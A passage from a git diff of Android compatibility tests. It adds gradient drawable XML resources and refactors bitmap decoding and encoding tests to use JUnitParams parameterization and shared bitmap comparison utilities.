+    android:opticalInsetLeft="1px"
+    android:opticalInsetTop="2px"
+    android:opticalInsetRight="3px"
+    android:opticalInsetBottom="4px">
+    <gradient android:startColor="#ffffffff" android:centerColor="#ffff0000"
+              android:endColor="#0000ffff"  android:angle="-315"/>
+</shape>
+
diff --git a/tests/tests/graphics/res/drawable/gradientdrawable_negative_angle_360.xml b/tests/tests/graphics/res/drawable/gradientdrawable_negative_angle_360.xml
new file mode 100644
index 0000000..410a5bb
--- /dev/null
+++ b/tests/tests/graphics/res/drawable/gradientdrawable_negative_angle_360.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<shape xmlns:android="http://schemas.android.com/apk/res/android"
+    android:opticalInsetLeft="1px"
+    android:opticalInsetTop="2px"
+    android:opticalInsetRight="3px"
+    android:opticalInsetBottom="4px">
+    <gradient android:startColor="#ffffffff" android:centerColor="#ffff0000"
+              android:endColor="#0000ffff"  android:angle="-360"/>
+</shape>
+
diff --git a/tests/tests/graphics/res/drawable/gradientdrawable_negative_angle_45.xml b/tests/tests/graphics/res/drawable/gradientdrawable_negative_angle_45.xml
new file mode 100644
index 0000000..17ceb2f
--- /dev/null
+++ b/tests/tests/graphics/res/drawable/gradientdrawable_negative_angle_45.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<shape xmlns:android="http://schemas.android.com/apk/res/android"
+    android:opticalInsetLeft="1px"
+    android:opticalInsetTop="2px"
+    android:opticalInsetRight="3px"
+    android:opticalInsetBottom="4px">
+    <gradient android:startColor="#ffffffff" android:centerColor="#ffff0000"
+              android:endColor="#0000ffff"  android:angle="-45"/>
+</shape>
+
diff --git a/tests/tests/graphics/res/drawable/gradientdrawable_negative_angle_90.xml b/tests/tests/graphics/res/drawable/gradientdrawable_negative_angle_90.xml
new file mode 100644
index 0000000..a74b2e3
--- /dev/null
+++ b/tests/tests/graphics/res/drawable/gradientdrawable_negative_angle_90.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<shape xmlns:android="http://schemas.android.com/apk/res/android"
+    android:opticalInsetLeft="1px"
+    android:opticalInsetTop="2px"
+    android:opticalInsetRight="3px"
+    android:opticalInsetBottom="4px">
+    <gradient android:startColor="#ffffffff" android:centerColor="#ffff0000"
+              android:endColor="#0000ffff"  android:angle="-90"/>
+</shape>
+
diff --git a/tests/tests/graphics/res/drawable/gradientdrawable_no_angle.xml b/tests/tests/graphics/res/drawable/gradientdrawable_no_angle.xml
new file mode 100644
index 0000000..de316cf
--- /dev/null
+++ b/tests/tests/graphics/res/drawable/gradientdrawable_no_angle.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+<shape xmlns:android="http://schemas.android.com/apk/res/android"
+    android:shape="rectangle">
+    <gradient
+        android:endColor="#00ff00"
+        android:startColor="#ff0000"
+        android:type="linear" />
+</shape>
diff --git a/tests/tests/graphics/res/drawable/gradientdrawable_stroke_tint.xml b/tests/tests/graphics/res/drawable/gradientdrawable_stroke_tint.xml
new file mode 100644
index 0000000..13404bc
--- /dev/null
+++ b/tests/tests/graphics/res/drawable/gradientdrawable_stroke_tint.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2019 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<shape
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:shape="rectangle" >
+  <corners android:radius="5dp" />
+  <stroke
+      android:width="20dp"
+      android:color="@android:color/white"/>
+</shape>
\ No newline at end of file
diff --git a/tests/tests/graphics/res/values/styles.xml b/tests/tests/graphics/res/values/styles.xml
index 9a9bb55..7e05f0a 100644
--- a/tests/tests/graphics/res/values/styles.xml
+++ b/tests/tests/graphics/res/values/styles.xml
@@ -195,8 +195,4 @@
         <item name="android:windowAnimationStyle">@null</item>
     </style>
 
-    <style name="Theme_NoSwipeDismiss">
-        <item name="android:windowSwipeToDismiss">false</item>
-    </style>
-
 </resources>
diff --git a/tests/tests/graphics/src/android/graphics/cts/BitmapColorSpaceTest.java b/tests/tests/graphics/src/android/graphics/cts/BitmapColorSpaceTest.java
index fa2cfda..93d3d8d 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BitmapColorSpaceTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BitmapColorSpaceTest.java
@@ -39,7 +39,6 @@
 import androidx.test.InstrumentationRegistry;
 import androidx.test.filters.RequiresDevice;
 import androidx.test.filters.SmallTest;
-import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.ColorUtils;
 
@@ -54,8 +53,11 @@
 import java.nio.IntBuffer;
 import java.util.Arrays;
 
+import junitparams.JUnitParamsRunner;
+import junitparams.Parameters;
+
 @SmallTest
-@RunWith(AndroidJUnit4.class)
+@RunWith(JUnitParamsRunner.class)
 public class BitmapColorSpaceTest {
     private static final String LOG_TAG = "BitmapColorSpaceTest";
 
@@ -1036,8 +1038,13 @@
         assertTrue(pass);
     }
 
+    private Object[] compressFormats() {
+        return Bitmap.CompressFormat.values();
+    }
+
     @Test
-    public void testEncodeP3() {
+    @Parameters(method = "compressFormats")
+    public void testEncodeP3(Bitmap.CompressFormat format) {
         Bitmap b = null;
         ImageDecoder.Source src = ImageDecoder.createSource(mResources.getAssets(),
                 "blue-16bit-srgb.png");
@@ -1051,24 +1058,18 @@
             fail("Failed with " + e);
         }
 
-        for (Bitmap.CompressFormat format : new Bitmap.CompressFormat[] {
-                Bitmap.CompressFormat.JPEG,
-                Bitmap.CompressFormat.WEBP,
-                Bitmap.CompressFormat.PNG,
-        }) {
-            ByteArrayOutputStream out = new ByteArrayOutputStream();
-            assertTrue("Failed to encode F16 to " + format, b.compress(format, 100, out));
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        assertTrue("Failed to encode F16 to " + format, b.compress(format, 100, out));
 
-            byte[] array = out.toByteArray();
-            src = ImageDecoder.createSource(ByteBuffer.wrap(array));
+        byte[] array = out.toByteArray();
+        src = ImageDecoder.createSource(ByteBuffer.wrap(array));
 
-            try {
-                Bitmap b2 = ImageDecoder.decodeBitmap(src);
-                assertEquals("Wrong color space for " + format,
-                        ColorSpace.get(ColorSpace.Named.DISPLAY_P3), b2.getColorSpace());
-            } catch (IOException e) {
-                fail("Failed with " + e);
-            }
+        try {
+            Bitmap b2 = ImageDecoder.decodeBitmap(src);
+            assertEquals("Wrong color space for " + format,
+                    ColorSpace.get(ColorSpace.Named.DISPLAY_P3), b2.getColorSpace());
+        } catch (IOException e) {
+            fail("Failed with " + e);
         }
     }
 
@@ -1088,11 +1089,7 @@
             fail("Failed with " + e);
         }
 
-        for (Bitmap.CompressFormat format : new Bitmap.CompressFormat[] {
-                Bitmap.CompressFormat.JPEG,
-                Bitmap.CompressFormat.WEBP,
-                Bitmap.CompressFormat.PNG,
-        }) {
+        for (Bitmap.CompressFormat format : Bitmap.CompressFormat.values()) {
             ByteArrayOutputStream out = new ByteArrayOutputStream();
             assertTrue("Failed to encode 8888 to " + format, b.compress(format, 100, out));
 
diff --git a/tests/tests/graphics/src/android/graphics/cts/BitmapFactoryTest.java b/tests/tests/graphics/src/android/graphics/cts/BitmapFactoryTest.java
index b507bf9..959aeef 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BitmapFactoryTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BitmapFactoryTest.java
@@ -36,6 +36,7 @@
 import android.graphics.Rect;
 import android.os.Parcel;
 import android.os.ParcelFileDescriptor;
+import android.platform.test.annotations.LargeTest;
 import android.system.ErrnoException;
 import android.system.Os;
 import android.util.DisplayMetrics;
@@ -43,8 +44,8 @@
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.filters.SmallTest;
-import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.BitmapUtils;
 import com.android.compatibility.common.util.CddTest;
 
 import org.junit.Before;
@@ -61,29 +62,36 @@
 import java.io.RandomAccessFile;
 import java.util.concurrent.CountDownLatch;
 
+import junitparams.JUnitParamsRunner;
+import junitparams.Parameters;
+
 @SmallTest
-@RunWith(AndroidJUnit4.class)
+@RunWith(JUnitParamsRunner.class)
 public class BitmapFactoryTest {
     // height and width of start.jpg
     private static final int START_HEIGHT = 31;
     private static final int START_WIDTH = 31;
 
-    // The test images, including baseline JPEG, a PNG, a GIF, a BMP AND a WEBP.
-    private static final int[] RES_IDS = new int[] {
-            R.drawable.baseline_jpeg, R.drawable.png_test, R.drawable.gif_test,
-            R.drawable.bmp_test, R.drawable.webp_test
-    };
+    static class TestImage {
+        TestImage(int id, int width, int height) {
+            this.id = id;
+            this.width = width;
+            this.height = height;
+        }
+        public final int id;
+        public final int width;
+        public final int height;
+    }
 
-    // The width and height of the above image.
-    private static final int WIDTHS[] = new int[] { 1280, 640, 320, 320, 640 };
-    private static final int HEIGHTS[] = new int[] { 960, 480, 240, 240, 480 };
-
-    // Configurations for BitmapFactory.Options
-    private static final Config[] COLOR_CONFIGS = new Config[] {Config.ARGB_8888, Config.RGB_565};
-    private static final int[] COLOR_TOLS = new int[] {16, 49, 576};
-
-    private static final Config[] COLOR_CONFIGS_RGBA = new Config[] {Config.ARGB_8888};
-    private static final int[] COLOR_TOLS_RGBA = new int[] {72, 124};
+    private Object[] testImages() {
+        return new Object[] {
+                new TestImage(R.drawable.baseline_jpeg, 1280, 960),
+                new TestImage(R.drawable.png_test, 640, 480),
+                new TestImage(R.drawable.gif_test, 320, 240),
+                new TestImage(R.drawable.bmp_test, 320, 240),
+                new TestImage(R.drawable.webp_test, 640, 480),
+        };
+    }
 
     private static final int[] RAW_COLORS = new int[] {
         // raw data from R.drawable.premul_data
@@ -206,88 +214,102 @@
     }
 
     @Test
-    public void testDecodeStream3() {
-        for (int i = 0; i < RES_IDS.length; ++i) {
-            InputStream is = obtainInputStream(RES_IDS[i]);
-            Bitmap b = BitmapFactory.decodeStream(is);
-            assertNotNull(b);
-            // Test the bitmap size
-            assertEquals(WIDTHS[i], b.getWidth());
-            assertEquals(HEIGHTS[i], b.getHeight());
-        }
+    @Parameters(method = "testImages")
+    public void testDecodeStream3(TestImage testImage) {
+        InputStream is = obtainInputStream(testImage.id);
+        Bitmap b = BitmapFactory.decodeStream(is);
+        assertNotNull(b);
+        // Test the bitmap size
+        assertEquals(testImage.width, b.getWidth());
+        assertEquals(testImage.height, b.getHeight());
+    }
+
+    private Object[] paramsForWebpDecodeEncode() {
+        return new Object[] {
+                new Object[] {Config.ARGB_8888, 16},
+                new Object[] {Config.RGB_565, 49}
+        };
+    }
+
+    private Bitmap decodeOpaqueImage(int resId, BitmapFactory.Options options) {
+        return decodeOpaqueImage(obtainInputStream(resId), options);
+    }
+
+    private Bitmap decodeOpaqueImage(InputStream stream, BitmapFactory.Options options) {
+        Bitmap bitmap = BitmapFactory.decodeStream(stream, null, options);
+        assertNotNull(bitmap);
+        assertFalse(bitmap.isPremultiplied());
+        assertFalse(bitmap.hasAlpha());
+        return bitmap;
     }
 
     @Test
-    public void testDecodeStream4() {
+    @Parameters(method = "paramsForWebpDecodeEncode")
+    public void testWebpStreamDecode(Config config, int tolerance) {
         BitmapFactory.Options options = new BitmapFactory.Options();
-        for (int k = 0; k < COLOR_CONFIGS.length; ++k) {
-            options.inPreferredConfig = COLOR_CONFIGS[k];
+        options.inPreferredConfig = config;
 
-            // Decode the PNG & WebP test images. The WebP test image has been encoded from PNG test
-            // image and should have same similar (within some error-tolerance) Bitmap data.
-            InputStream iStreamPng = obtainInputStream(R.drawable.png_test);
-            Bitmap bPng = BitmapFactory.decodeStream(iStreamPng, null, options);
-            assertNotNull(bPng);
-            assertEquals(bPng.getConfig(), COLOR_CONFIGS[k]);
-            assertFalse(bPng.isPremultiplied());
-            assertFalse(bPng.hasAlpha());
+        // Decode the PNG & WebP test images. The WebP test image has been encoded from PNG test
+        // image and should have same similar (within some error-tolerance) Bitmap data.
+        Bitmap bPng = decodeOpaqueImage(R.drawable.png_test, options);
+        assertEquals(bPng.getConfig(), config);
+        Bitmap bWebp = decodeOpaqueImage(R.drawable.webp_test, options);
+        BitmapUtils.assertBitmapsMse(bPng, bWebp, tolerance, true, bPng.isPremultiplied());
+    }
 
-            InputStream iStreamWebp1 = obtainInputStream(R.drawable.webp_test);
-            Bitmap bWebp1 = BitmapFactory.decodeStream(iStreamWebp1, null, options);
-            assertNotNull(bWebp1);
-            assertFalse(bWebp1.isPremultiplied());
-            assertFalse(bWebp1.hasAlpha());
-            compareBitmaps(bPng, bWebp1, COLOR_TOLS[k], true, bPng.isPremultiplied());
+    @Test
+    @Parameters(method = "paramsForWebpDecodeEncode")
+    public void testWebpStreamEncode(Config config, int tolerance) {
+        BitmapFactory.Options options = new BitmapFactory.Options();
+        options.inPreferredConfig = config;
 
-            // Compress the PNG image to WebP format (Quality=90) and decode it back.
-            // This will test end-to-end WebP encoding and decoding.
-            ByteArrayOutputStream oStreamWebp = new ByteArrayOutputStream();
-            assertTrue(bPng.compress(CompressFormat.WEBP, 90, oStreamWebp));
-            InputStream iStreamWebp2 = new ByteArrayInputStream(oStreamWebp.toByteArray());
-            Bitmap bWebp2 = BitmapFactory.decodeStream(iStreamWebp2, null, options);
-            assertNotNull(bWebp2);
-            assertFalse(bWebp2.isPremultiplied());
-            assertFalse(bWebp2.hasAlpha());
-            compareBitmaps(bPng, bWebp2, COLOR_TOLS[k], true, bPng.isPremultiplied());
-        }
+        Bitmap bPng = decodeOpaqueImage(R.drawable.png_test, options);
+        assertEquals(bPng.getConfig(), config);
+
+        // Compress the PNG image to WebP format (Quality=90) and decode it back.
+        // This will test end-to-end WebP encoding and decoding.
+        ByteArrayOutputStream oStreamWebp = new ByteArrayOutputStream();
+        assertTrue(bPng.compress(CompressFormat.WEBP, 90, oStreamWebp));
+        InputStream iStreamWebp = new ByteArrayInputStream(oStreamWebp.toByteArray());
+        Bitmap bWebp2 = decodeOpaqueImage(iStreamWebp, options);
+        BitmapUtils.assertBitmapsMse(bPng, bWebp2, tolerance, true, bPng.isPremultiplied());
     }
 
     @Test
     public void testDecodeStream5() {
+        final int tolerance = 72;
         BitmapFactory.Options options = new BitmapFactory.Options();
-        for (int k = 0; k < COLOR_CONFIGS_RGBA.length; ++k) {
-            options.inPreferredConfig = COLOR_CONFIGS_RGBA[k];
+        options.inPreferredConfig = Config.ARGB_8888;
 
-            // Decode the PNG & WebP (google_logo) images. The WebP image has
-            // been encoded from PNG image.
-            InputStream iStreamPng = obtainInputStream(R.drawable.google_logo_1);
-            Bitmap bPng = BitmapFactory.decodeStream(iStreamPng, null, options);
-            assertNotNull(bPng);
-            assertEquals(bPng.getConfig(), COLOR_CONFIGS_RGBA[k]);
-            assertTrue(bPng.isPremultiplied());
-            assertTrue(bPng.hasAlpha());
+        // Decode the PNG & WebP (google_logo) images. The WebP image has
+        // been encoded from PNG image.
+        InputStream iStreamPng = obtainInputStream(R.drawable.google_logo_1);
+        Bitmap bPng = BitmapFactory.decodeStream(iStreamPng, null, options);
+        assertNotNull(bPng);
+        assertEquals(bPng.getConfig(), Config.ARGB_8888);
+        assertTrue(bPng.isPremultiplied());
+        assertTrue(bPng.hasAlpha());
 
-            // Decode the corresponding WebP (transparent) image (google_logo_2.webp).
-            InputStream iStreamWebP1 = obtainInputStream(R.drawable.google_logo_2);
-            Bitmap bWebP1 = BitmapFactory.decodeStream(iStreamWebP1, null, options);
-            assertNotNull(bWebP1);
-            assertEquals(bWebP1.getConfig(), COLOR_CONFIGS_RGBA[k]);
-            assertTrue(bWebP1.isPremultiplied());
-            assertTrue(bWebP1.hasAlpha());
-            compareBitmaps(bPng, bWebP1, COLOR_TOLS_RGBA[k], true, bPng.isPremultiplied());
+        // Decode the corresponding WebP (transparent) image (google_logo_2.webp).
+        InputStream iStreamWebP1 = obtainInputStream(R.drawable.google_logo_2);
+        Bitmap bWebP1 = BitmapFactory.decodeStream(iStreamWebP1, null, options);
+        assertNotNull(bWebP1);
+        assertEquals(bWebP1.getConfig(), Config.ARGB_8888);
+        assertTrue(bWebP1.isPremultiplied());
+        assertTrue(bWebP1.hasAlpha());
+        BitmapUtils.assertBitmapsMse(bPng, bWebP1, tolerance, true, bPng.isPremultiplied());
 
-            // Compress the PNG image to WebP format (Quality=90) and decode it back.
-            // This will test end-to-end WebP encoding and decoding.
-            ByteArrayOutputStream oStreamWebp = new ByteArrayOutputStream();
-            assertTrue(bPng.compress(CompressFormat.WEBP, 90, oStreamWebp));
-            InputStream iStreamWebp2 = new ByteArrayInputStream(oStreamWebp.toByteArray());
-            Bitmap bWebP2 = BitmapFactory.decodeStream(iStreamWebp2, null, options);
-            assertNotNull(bWebP2);
-            assertEquals(bWebP2.getConfig(), COLOR_CONFIGS_RGBA[k]);
-            assertTrue(bWebP2.isPremultiplied());
-            assertTrue(bWebP2.hasAlpha());
-            compareBitmaps(bPng, bWebP2, COLOR_TOLS_RGBA[k], true, bPng.isPremultiplied());
-        }
+        // Compress the PNG image to WebP format (Quality=90) and decode it back.
+        // This will test end-to-end WebP encoding and decoding.
+        ByteArrayOutputStream oStreamWebp = new ByteArrayOutputStream();
+        assertTrue(bPng.compress(CompressFormat.WEBP, 90, oStreamWebp));
+        InputStream iStreamWebp2 = new ByteArrayInputStream(oStreamWebp.toByteArray());
+        Bitmap bWebP2 = BitmapFactory.decodeStream(iStreamWebp2, null, options);
+        assertNotNull(bWebP2);
+        assertEquals(bWebP2.getConfig(), Config.ARGB_8888);
+        assertTrue(bWebP2.isPremultiplied());
+        assertTrue(bWebP2.hasAlpha());
+        BitmapUtils.assertBitmapsMse(bPng, bWebP2, tolerance, true, bPng.isPremultiplied());
     }
 
     @Test
@@ -315,47 +337,48 @@
         assertEquals(START_WIDTH, b.getWidth());
     }
 
+
+    // TODO: Better parameterize this and split it up.
     @Test
-    public void testDecodeFileDescriptor3() throws IOException {
+    @Parameters(method = "testImages")
+    public void testDecodeFileDescriptor3(TestImage testImage) throws IOException {
         // Arbitrary offsets to use. If the offset of the FD matches the offset of the image,
         // decoding should succeed, but if they do not match, decoding should fail.
-        long ACTUAL_OFFSETS[] = new long[] { 0, 17 };
-        for (int RES_ID : RES_IDS) {
-            for (int j = 0; j < ACTUAL_OFFSETS.length; ++j) {
-                // FIXME: The purgeable test should attempt to purge the memory
-                // to force a re-decode.
-                for (boolean TEST_PURGEABLE : new boolean[] { false, true }) {
-                    BitmapFactory.Options opts = new BitmapFactory.Options();
-                    opts.inPurgeable = TEST_PURGEABLE;
-                    opts.inInputShareable = TEST_PURGEABLE;
+        final long[] actual_offsets = new long[] { 0, 17 };
+        for (int j = 0; j < actual_offsets.length; ++j) {
+            // FIXME: The purgeable test should attempt to purge the memory
+            // to force a re-decode.
+            for (boolean purgeable : new boolean[] { false, true }) {
+                BitmapFactory.Options opts = new BitmapFactory.Options();
+                opts.inPurgeable = purgeable;
+                opts.inInputShareable = purgeable;
 
-                    long actualOffset = ACTUAL_OFFSETS[j];
-                    String path = obtainPath(RES_ID, actualOffset);
-                    RandomAccessFile file = new RandomAccessFile(path, "r");
-                    FileDescriptor fd = file.getFD();
-                    assertTrue(fd.valid());
+                long actualOffset = actual_offsets[j];
+                String path = obtainPath(testImage.id, actualOffset);
+                RandomAccessFile file = new RandomAccessFile(path, "r");
+                FileDescriptor fd = file.getFD();
+                assertTrue(fd.valid());
 
-                    // Set the offset to ACTUAL_OFFSET
-                    file.seek(actualOffset);
-                    assertEquals(file.getFilePointer(), actualOffset);
+                // Set the offset to ACTUAL_OFFSET
+                file.seek(actualOffset);
+                assertEquals(file.getFilePointer(), actualOffset);
 
-                    // Now decode. This should be successful and leave the offset
-                    // unchanged.
-                    Bitmap b = BitmapFactory.decodeFileDescriptor(fd, null, opts);
-                    assertNotNull(b);
-                    assertEquals(file.getFilePointer(), actualOffset);
+                // Now decode. This should be successful and leave the offset
+                // unchanged.
+                Bitmap b = BitmapFactory.decodeFileDescriptor(fd, null, opts);
+                assertNotNull(b);
+                assertEquals(file.getFilePointer(), actualOffset);
 
-                    // Now use the other offset. It should fail to decode, and
-                    // the offset should remain unchanged.
-                    long otherOffset = ACTUAL_OFFSETS[(j + 1) % ACTUAL_OFFSETS.length];
-                    assertFalse(otherOffset == actualOffset);
-                    file.seek(otherOffset);
-                    assertEquals(file.getFilePointer(), otherOffset);
+                // Now use the other offset. It should fail to decode, and
+                // the offset should remain unchanged.
+                long otherOffset = actual_offsets[(j + 1) % actual_offsets.length];
+                assertFalse(otherOffset == actualOffset);
+                file.seek(otherOffset);
+                assertEquals(file.getFilePointer(), otherOffset);
 
-                    b = BitmapFactory.decodeFileDescriptor(fd, null, opts);
-                    assertNull(b);
-                    assertEquals(file.getFilePointer(), otherOffset);
-                }
+                b = BitmapFactory.decodeFileDescriptor(fd, null, opts);
+                assertNull(b);
+                assertEquals(file.getFilePointer(), otherOffset);
             }
         }
     }
@@ -493,18 +516,17 @@
     }
 
     @Test
-    public void testDecodeReuseFormats() {
+    @Parameters(method = "testImages")
+    public void testDecodeReuseFormats(TestImage testImage) {
         // reuse should support all image formats
-        for (int i = 0; i < RES_IDS.length; ++i) {
-            Bitmap reuseBuffer = Bitmap.createBitmap(1000000, 1, Bitmap.Config.ALPHA_8);
+        Bitmap reuseBuffer = Bitmap.createBitmap(1000000, 1, Bitmap.Config.ALPHA_8);
 
-            BitmapFactory.Options options = new BitmapFactory.Options();
-            options.inBitmap = reuseBuffer;
-            options.inSampleSize = 4;
-            options.inScaled = false;
-            Bitmap decoded = BitmapFactory.decodeResource(mRes, RES_IDS[i], options);
-            assertSame(reuseBuffer, decoded);
-        }
+        BitmapFactory.Options options = new BitmapFactory.Options();
+        options.inBitmap = reuseBuffer;
+        options.inSampleSize = 4;
+        options.inScaled = false;
+        Bitmap decoded = BitmapFactory.decodeResource(mRes, testImage.id, options);
+        assertSame(reuseBuffer, decoded);
     }
 
     @Test
@@ -677,7 +699,7 @@
 
         p.setDataPosition(0);
         Bitmap b2 = Bitmap.CREATOR.createFromParcel(p);
-        compareBitmaps(b, b2, 0, true, true);
+        assertTrue(BitmapUtils.compareBitmaps(b, b2));
 
         ByteArrayOutputStream baos = new ByteArrayOutputStream();
         assertTrue(b2.compress(Bitmap.CompressFormat.JPEG, 50, baos));
@@ -792,27 +814,30 @@
 
     @Test
     @CddTest(requirement = "5.1.5/C-0-6")
-    public void testDng() {
-        DNG[] dngs = new DNG[]{
-            new DNG(R.raw.sample_1mp, 600, 338),
-            new DNG(R.raw.sample_arw, 1616, 1080),
-            new DNG(R.raw.sample_cr2, 2304, 1536),
-            new DNG(R.raw.sample_nef, 4608, 3072),
-            new DNG(R.raw.sample_nrw, 4000, 3000),
-            new DNG(R.raw.sample_orf, 3200, 2400),
-            new DNG(R.raw.sample_pef, 4928, 3264),
-            new DNG(R.raw.sample_raf, 2048, 1536),
-            new DNG(R.raw.sample_rw2, 1920, 1440),
-            new DNG(R.raw.sample_srw, 5472, 3648),
-        };
+    @Parameters(method = "parametersForTestDng")
+    @LargeTest
+    public void testDng(DNG dng) {
+        byte[] bytes = ImageDecoderTest.getAsByteArray(dng.resId);
+        // No scaling
+        Bitmap bm = BitmapFactory.decodeByteArray(bytes, 0, bytes.length, mOpt1);
+        assertNotNull(bm);
+        assertEquals(dng.width, bm.getWidth());
+        assertEquals(dng.height, bm.getHeight());
+    }
 
-        for (DNG dng : dngs) {
-            // No scaling
-            Bitmap bm = BitmapFactory.decodeResource(mRes, dng.resId, mOpt1);
-            assertNotNull(bm);
-            assertEquals(dng.width, bm.getWidth());
-            assertEquals(dng.height, bm.getHeight());
-        }
+    private Object[] parametersForTestDng() {
+        return new Object[]{
+                new DNG(R.raw.sample_1mp, 600, 338),
+                new DNG(R.raw.sample_arw, 1616, 1080),
+                new DNG(R.raw.sample_cr2, 2304, 1536),
+                new DNG(R.raw.sample_nef, 4608, 3072),
+                new DNG(R.raw.sample_nrw, 4000, 3000),
+                new DNG(R.raw.sample_orf, 3200, 2400),
+                new DNG(R.raw.sample_pef, 4928, 3264),
+                new DNG(R.raw.sample_raf, 2048, 1536),
+                new DNG(R.raw.sample_rw2, 1920, 1440),
+                new DNG(R.raw.sample_srw, 5472, 3648),
+        };
     }
 
     @Test
@@ -914,7 +939,7 @@
         assertEquals(height, argb4444.getHeight());
         // ARGB_4444 is deprecated and we should decode to ARGB_8888.
         assertEquals(Config.ARGB_8888, argb4444.getConfig());
-        compareBitmaps(reference, argb4444, 0, true, true);
+        assertTrue(BitmapUtils.compareBitmaps(reference, argb4444));
 
         opts.inPreferredConfig = Config.RGB_565;
         Bitmap rgb565 = BitmapFactory.decodeResource(mRes, id, opts);
@@ -927,7 +952,8 @@
             // the reference.  We lose information when decoding to 565, so there must
             // be some tolerance.  The tolerance is intentionally loose to allow us some
             // flexibility regarding if we dither and how we color convert.
-            compareBitmaps(reference, rgb565.copy(Config.ARGB_8888, false), 30, true, true);
+            BitmapUtils.assertBitmapsMse(reference, rgb565.copy(Config.ARGB_8888, false), 30, true,
+                    true);
         }
 
         opts.inPreferredConfig = Config.ALPHA_8;
@@ -940,7 +966,7 @@
             // Convert the ALPHA_8 bitmap to ARGB_8888 and test that it is identical to
             // the reference.  We must do this manually because we are abusing ALPHA_8
             // in order to represent grayscale.
-            compareBitmaps(reference, grayToARGB(alpha8), 0, true, true);
+            assertTrue(BitmapUtils.compareBitmaps(reference, grayToARGB(alpha8)));
             assertNull(alpha8.getColorSpace());
         }
 
@@ -952,7 +978,7 @@
         assertEquals(width, defaultBitmap.getWidth());
         assertEquals(height, defaultBitmap.getHeight());
         assertEquals(Config.ARGB_8888, defaultBitmap.getConfig());
-        compareBitmaps(reference, defaultBitmap, 0, true, true);
+        assertTrue(BitmapUtils.compareBitmaps(reference, defaultBitmap));
     }
 
     private static Bitmap grayToARGB(Bitmap gray) {
@@ -1023,67 +1049,4 @@
         fOutput.close();
         return (file.getPath());
     }
-
-    // Compare expected to actual to see if their diff is less then mseMargin.
-    // lessThanMargin is to indicate whether we expect the mean square error
-    // to be "less than" or "no less than".
-    private static void compareBitmaps(Bitmap expected, Bitmap actual,
-            int mseMargin, boolean lessThanMargin, boolean isPremultiplied) {
-        final int width = expected.getWidth();
-        final int height = expected.getHeight();
-
-        assertEquals("mismatching widths", width, actual.getWidth());
-        assertEquals("mismatching heights", height, actual.getHeight());
-        assertEquals("mismatching configs", expected.getConfig(),
-                actual.getConfig());
-
-        double mse = 0;
-        int[] expectedColors = new int [width * height];
-        int[] actualColors = new int [width * height];
-
-        // Bitmap.getPixels() returns colors with non-premultiplied ARGB values.
-        expected.getPixels(expectedColors, 0, width, 0, 0, width, height);
-        actual.getPixels(actualColors, 0, width, 0, 0, width, height);
-
-        for (int row = 0; row < height; ++row) {
-            for (int col = 0; col < width; ++col) {
-                int idx = row * width + col;
-                mse += distance(expectedColors[idx], actualColors[idx], isPremultiplied);
-            }
-        }
-        mse /= width * height;
-
-        if (lessThanMargin) {
-            assertTrue("MSE " + mse +  "larger than the threshold: " + mseMargin,
-                    mse <= mseMargin);
-        } else {
